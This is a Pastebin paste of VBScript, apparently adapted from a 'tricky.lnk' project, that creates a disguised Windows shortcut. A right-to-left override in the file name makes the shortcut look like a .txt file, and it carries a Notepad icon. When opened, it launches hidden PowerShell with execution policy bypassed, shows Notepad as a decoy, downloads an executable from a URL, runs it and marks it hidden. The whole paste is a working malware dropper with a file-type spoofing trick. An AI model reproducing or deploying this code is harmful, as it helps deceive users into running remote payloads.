Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'credit https://github.com/xillwillx/tricky.lnk
- 'edited NYAN CAT
- Dim DownLoadLink, FileName
- DownLoadLink = "'https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe'"
- FileName = "'putty.exe'"
- Set WshShell = CreateObject("WScript.Shell")
- Set ShApp = CreateObject("Shell.Application")
- DesktopPath = ShApp.Namespace(0).Self.Path
- unicode = Unescape("%u0052%u0065%u0061%u0064%u004d%u0065%u005f%u202e%u0074%u0078%u0074%u002e%u006c%u006e%u006b")
- unicodeName = "unicode.lnk"
- shortcutPath = DesktopPath & "\" & unicodeName
- Set lnk = WshShell.CreateShortcut(shortcutPath)
- lnk.TargetPath = "powershell.exe"
- lnk.Arguments = "-ExecutionPolicy Bypass -WindowStyle Hidden -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile(" & DownLoadLink & "," & FileName & ");./" & Filename & ";(get-item " & Filename & ").Attributes += 'Hidden';"
- lnk.IconLocation = "c:\windows\system32\notepad.exe"
- lnk.Description = "Type: Text Document"
- lnk.Save()
- Set FSO = CreateObject("Scripting.FileSystemObject")
- Set file = FSO.GetFile(shortcutPath)
- file.name = unicode & ".lnk"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement